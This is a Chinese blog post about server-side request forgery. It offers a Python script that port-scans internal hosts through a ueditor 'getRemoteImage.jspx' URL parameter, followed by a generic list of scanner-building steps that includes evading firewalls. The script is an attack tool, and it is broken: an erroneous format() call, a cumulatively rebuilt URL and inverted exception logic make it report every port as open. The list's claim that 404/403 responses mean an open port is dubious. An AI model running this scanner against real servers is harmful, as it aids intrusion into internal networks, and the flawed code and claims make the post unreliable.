python-SSRF扫描

python-SSRF扫描

SSRF概念:

服务端请求伪造(Server-Side Request Forgery),指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。

import requests


def portsacn(url, rurl):
    ports = [21, 22, 23, 25, 80, 443, 445, 873, 1080, 1099, 1090, 1521, 3306, 6379, 27017]
    for port in ports:
        try:
            url = url + '/ueditor/getRemoteImage.jspx?upfile=' + rurl + ':{port}' + format(port=port)
            response = requests.get(url, timeout=6)
        except:
            print('[+]{port} is open'.format(port=port))


if __name__ == '__main__':
    portsacn('http://www.target.com', 'www.google.com')
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
设计一个简单的 SSRF(Server Side Request Forgery)端口扫描器是一个复杂的任务,因为它涉及到网络编程、漏洞利用和安全边界的知识。SSRF是指服务器被恶意请求所利用,发起对其他服务器的请求,这通常发生在应用没有正确限制访问范围的时候。以下是一些基本步骤来创建一个基础的扫描器: 1. **目标选择**:明确你要扫描的目标URL范围或模式,例如特定域名下的所有子域。 2. **协议识别**:确定要扫描的协议,如HTTP、HTTPS、FTP等,因为不同协议的默认端口不同。 3. **请求构建**:使用HTTP客户端库(如Python的requests、Go的http.Client)创建请求,可以包含自定义的User-Agent、Cookie等信息。 4. **端口遍历**:对于每个目标URL,尝试不同的端口号,从常见的服务端口(如80, 443, 21)到不那么常见的端口。 5. **响应处理**:对每个响应进行解析,检查HTTP状态码,如果遇到404或403错误,可能是开放的端口。 6. **异常处理**:捕获可能的网络错误或服务器拒绝连接,避免程序中断。 7. **结果记录**:将扫描结果保存到文件或数据库中,方便后续分析。 8. **安全性考虑**:确保扫描过程尽可能地模拟正常用户行为,避免触发防火墙或安全策略。 9. **法律遵从**:在进行此类操作前,请确保你的行为符合当地的法律法规,尊重目标服务器的所有权。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值